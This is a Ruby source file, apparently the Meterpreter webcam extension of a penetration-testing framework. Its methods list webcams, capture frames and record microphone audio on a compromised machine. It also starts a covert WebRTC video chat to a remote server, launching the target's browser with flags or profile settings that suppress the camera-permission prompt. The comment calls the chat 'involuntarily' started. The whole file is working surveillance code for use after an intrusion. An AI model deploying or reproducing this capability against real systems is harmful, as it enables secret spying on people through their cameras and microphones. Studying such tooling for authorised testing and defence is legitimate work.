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# -*- coding: binary -*-
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module Rex
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module Post
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module Meterpreter
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module Extensions
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module Stdapi
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module Webcam
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###
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#
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# This meterpreter extension can list and capture from webcams and/or microphone
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#
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###
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class Webcam
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  include Msf::Post::Common
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  include Msf::Post::File
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  include Msf::Post::WebRTC
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  def initialize(client)
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    @client = client
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  end
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  def session
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    @client
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  end
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  def webcam_list
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    response = client.send_request(Packet.create_request(COMMAND_ID_STDAPI_WEBCAM_LIST))
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    names = []
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    response.get_tlvs(TLV_TYPE_WEBCAM_NAME).each do |tlv|
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      names << tlv.value
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    end
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    names
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  end
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  # Starts recording video from video source of index +cam+
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  def webcam_start(cam)
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    request = Packet.create_request(COMMAND_ID_STDAPI_WEBCAM_START)
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    request.add_tlv(TLV_TYPE_WEBCAM_INTERFACE_ID, cam)
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    client.send_request(request)
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    true
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  end
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  def webcam_get_frame(quality)
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    request = Packet.create_request(COMMAND_ID_STDAPI_WEBCAM_GET_FRAME)
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    request.add_tlv(TLV_TYPE_WEBCAM_QUALITY, quality)
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    response = client.send_request(request)
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    response.get_tlv(TLV_TYPE_WEBCAM_IMAGE).value
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  end
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  def webcam_stop
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    client.send_request(Packet.create_request(COMMAND_ID_STDAPI_WEBCAM_STOP))
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    true
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  end
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  #
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  # Starts a webcam session with a remote user via WebRTC
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  #
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  # @param server [String] A server to use for the channel.
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  # @return void
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  #
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  def webcam_chat(server)
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    offerer_id = Rex::Text.rand_text_alphanumeric(10)
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    channel    = Rex::Text.rand_text_alphanumeric(20)
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    remote_browser_path = webrtc_browser_path
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    if remote_browser_path.to_s.strip.empty?
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      fail "Unable to find a suitable browser on the target machine"
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    end
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    init_video_chat(remote_browser_path, server, channel, offerer_id)
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    connect_video_chat(server, channel, offerer_id)
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  end
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  # Record from default audio source for +duration+ seconds;
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  # returns a low-quality wav file
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  def record_mic(duration)
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    request = Packet.create_request(COMMAND_ID_STDAPI_WEBCAM_AUDIO_RECORD)
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    request.add_tlv(TLV_TYPE_AUDIO_DURATION, duration)
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    response = client.send_request(request)
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    response.get_tlv(TLV_TYPE_AUDIO_DATA).value
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  end
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  attr_accessor :client
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  private
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  #
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  # Returns a browser path that supports WebRTC
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  #
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  # @return [String]
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  #
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  def webrtc_browser_path
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    found_browser_path = ''
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    case client.platform
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    when /win/
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      paths = [
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        "%ProgramFiles(x86)%\\Google\\Chrome\\Application\\chrome.exe",
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        "%ProgramFiles%\\Google\\Chrome\\Application\\chrome.exe",
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        "%ProgramW6432%\\Google\\Chrome\\Application\\chrome.exe",
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        "%ProgramFiles(x86)%\\Mozilla Firefox\\firefox.exe",
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        "%ProgramFiles%\\Mozilla Firefox\\firefox.exe",
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        "%ProgramW6432%\\Mozilla Firefox\\firefox.exe"
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      ]
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      # Old chrome path
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      user_profile = client.sys.config.getenv("USERPROFILE")
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      paths << "#{user_profile}\\Local Settings\\Application Data\\Google\\Chrome\\Application\\chrome.exe"
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      paths.each do |browser_path|
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        if file?(browser_path)
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          found_browser_path = browser_path
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          break
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        end
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      end
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    when /osx|bsd/
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      [
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        '/Applications/Google Chrome.app',
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        '/Applications/Firefox.app'
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      ].each do |browser_path|
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        if file?(browser_path)
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          found_browser_path = browser_path
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          break
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        end
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      end
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    when /linux|unix/
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      # Need to add support for Linux in the future.
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      # But you see, the Linux meterpreter is so broken there is no point
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      # to do it now. You can't test anyway.
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    end
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    found_browser_path
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  end
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  #
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  # Creates a video chat session as an offerer... involuntarily :-p
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  # Windows targets only.
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  #
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  # @param remote_browser_path [String] A browser path that supports WebRTC on the target machine
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  # @param offerer_id [String] A ID that the answerer can look for and join
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  #
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  def init_video_chat(remote_browser_path, server, channel, offerer_id)
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    interface = load_interface('offerer.html')
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    api       = load_api_code
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    interface = interface.gsub(/\=SERVER\=/, server)
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    interface = interface.gsub(/\=CHANNEL\=/, channel)
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    interface = interface.gsub(/\=OFFERERID\=/, offerer_id)
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    tmp_dir = session.sys.config.getenv("TEMP")
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    begin
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      write_file("#{tmp_dir}\\interface.html", interface)
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      write_file("#{tmp_dir}\\api.js", api)
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    rescue RuntimeError => e
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      elog('webcam_chat failed', error: e)
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      raise "Unable to initialize the interface on the target machine"
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    end
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    #
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    # Automatically allow the webcam to run on the target machine
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    #
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    args = ''
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    if remote_browser_path =~ /Chrome/
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      args = "--allow-file-access-from-files --use-fake-ui-for-media-stream"
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    elsif remote_browser_path =~ /Firefox/
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      profile_name = Rex::Text.rand_text_alpha(8)
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      o = cmd_exec("#{remote_browser_path} --CreateProfile #{profile_name} #{tmp_dir}\\#{profile_name}")
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      profile_path = (o.scan(/created profile '.+' at '(.+)'/).flatten[0] || '').strip
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      setting = %|user_pref("media.navigator.permission.disabled", true);|
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      begin
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        write_file(profile_path, setting)
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      rescue RuntimeError => e
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        elog('webcam_chat failed', error: e)
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        raise "Unable to write the necessary setting for Firefox."
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      end
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      args = "-p #{profile_name}"
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    end
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    exec_opts = { 'Hidden' => false, 'Channelized' => false }
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    begin
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      session.sys.process.execute(remote_browser_path, "#{args} #{tmp_dir}\\interface.html", exec_opts)
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    rescue RuntimeError => e
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      elog('webcam_chat failed', error: e)
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      raise "Unable to start the remote browser: #{e.message}"
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    end
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  end
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end
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end
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end
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end
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end
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end
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end
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